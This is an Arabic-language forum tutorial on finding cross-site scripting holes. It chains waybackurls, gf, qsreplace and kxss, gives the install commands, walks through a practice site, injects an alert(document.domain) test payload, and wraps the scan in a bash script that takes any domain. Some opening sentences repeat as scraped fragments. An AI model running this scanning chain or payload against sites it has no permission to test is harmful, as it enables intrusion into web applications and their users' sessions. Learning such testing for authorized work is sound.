- بواسطة x32x01 ||
ثغرات XSS - Cross Site Scripting تعتبر من أكثر الثغرات شيوعًا وخطورة في عالم الويب، لأنها ببساطة بتسمح للهكر إنه يحقن أكواد JavaScript داخل صفحات الموقع وينفّذها عند المستخدمين… وده يفتح الباب لسرقة Sessions، تنفيذ أكواد خبيثة، أو حتى السيطرة على حسابات المستخدمين 😮💨🔥
في البوست ده هنتعلم إزاي تكتشف ثغرات XSS بطريقة احترافية باستخدام أقوى الأدوات:
ده مفيد جدًا عشان تلاقي صفحات مكنتش ظاهرة مباشرة في موقع الهدف.
الأداة بتعرف إن الرابط ده قابل لاختبار XSS عشان فيه باراميتر بياخد Value.
تصبح
وده بيجهّز الروابط ليتم اختبارها.
الأداة دي بتجرب Payloads جاهزة زي:
ولو الموقع مش بيعمل فلترة مظبوطة… الأداة بتكشف إن الرابط مُصاب بثغرة XSS أو HTML Injection.
هتلاقي روابط زي:
ده معناه إن الموقع مش بيعمل أي فلترة للمدخلات.
مثال عملي:
وبكده تقدر تعمل فحص شامل لأي موقع وتكتشف ثغرات XSS في ثواني بس 👨💻⚡
في البوست ده هنتعلم إزاي تكتشف ثغرات XSS بطريقة احترافية باستخدام أقوى الأدوات:
- waybackurls
- gf
- qsreplace
- kxss
🧰 الأدوات اللي هنستخدمها في اكتشاف ثغرات XSS
كل أداة ليها وظيفة مهمة جدًا في عملية الفحص، ومع بعض بيعملوا Pipeline قوي يفحص آلاف الروابط في ثواني.🔎 1. أداة waybackurls
الأداة دي بتجمع كل الـ URLs الخاصة بالموقع + روابط قديمة موجودة في خدمات الأرشفة زي Wayback Machine… وكمان بتجمع روابط السب دومينز.ده مفيد جدًا عشان تلاقي صفحات مكنتش ظاهرة مباشرة في موقع الهدف.
🔁 2. أداة sort -u
بتفلتر الروابط المتكررة وبتديك ملف نظيف بدون أي تكرار.🧪 3. أداة gf xss
بتفلتر الروابط اللي فيها Parameters قابلة للحقن، زي: Code:
https://target.com?name=test 📄 4. أداة tee
بتسمح إنك تشوف النتائج على الشاشة وفي نفس الوقت تحفظ نسخة منها في ملف.🔁 5. أداة qsreplace
بتستبدل كل قيمة باراميتر بكلمة FUZZ، مثال: Code:
?name=test Code:
?name=FUZZ ⚔️ 6. أداة kxss
أقوى خطوة…الأداة دي بتجرب Payloads جاهزة زي:
Code:
"><' 🔗 7. الـ Pipe ( | )
ده اللي بيربط الأدوات في سلسلة واحدة… يعني الناتج من أداة يروح مباشرة لأداة بعديها بدون ما تحفظ ملفات مؤقتة.🛠️ خطوات تثبيت الأدوات على Linux
هنثبت الأدوات باستخدام Golang، وهنا الأوامر كاملة بالترتيب: Code:
sudo apt install golang-go
go get github.com/tomnomnom/waybackurls
go get -u github.com/tomnomnom/gf
cd ~/
git clone https://github.com/1ndianl33t/Gf-Patterns
mkdir .gf
mv ~/Gf-Patterns/*.json ~/.gf
rm -rf ~/Gf-Patterns/
go get -u github.com/tomnomnom/qsreplace
go get github.com/Emoe/kxss 📌 عشان تشغل الأدوات من أي مكان في النظام
انسخ الأدوات للمسار/usr/bin Code:
cd ~/go/bin/
sudo cp waybackurls gf qsreplace kxss /usr/bin 🧪 مثال عملي على فحص موقع مصاب بتطبيق XSS (موقع التدريب sudo.co.il/xss)
هندخل مباشرة في اللي يهمنا… فحص موقع كامل بخطوات بسيطة:📥 1. نسحب كل الروابط من الموقع:
Code:
waybackurls sudo.co.il/xss | sort -u >> waybackdata.txt 🔍 2. فلترة الروابط اللي فيها باراميتر قابل للحقن:
Code:
cat waybackdata.txt | gf xss | tee -a xss1.txt | qsreplace FUZZ >> xss2.txt 🔥 3. اختبار الروابط باستخدام kxss:
Code:
cat xss2.txt | kxss | tee kxss.txt هتلاقي روابط زي:
Code:
http://sudo.co.il:80/xss/level5-1.php?p=FUZZ">< 💣 أفضل Payload جاهز لاختبار ثغرة XSS
تقدر تختبر تنفيذ سكربت في الموقع المصاب باستخدام: Code:
';alert(document.domain);' مثال عملي:
Code:
http://sudo.co.il:80/xss/level5-1.php?p=FUZZ';alert(document.domain);' ⚙️ إنشاء Script Bash لتشغيل كل الأوامر مرة واحدة
بنعمل ملف باسم: script.sh Bash:
#!/bin/bash
waybackurls $1 | sort -u >> waybackdata.txt
cat waybackdata.txt | gf xss | tee -a xss1.txt | qsreplace FUZZ >> xss2.txt
cat xss2.txt | kxss | tee kxss.txt 📌 إعطاء صلاحيات التشغيل:
Code:
sudo chmod +x script.sh ▶️ تشغيل السكربت:
Code:
./script.sh target.com
./script.sh sudo.co.il:80/xss التعديل الأخير: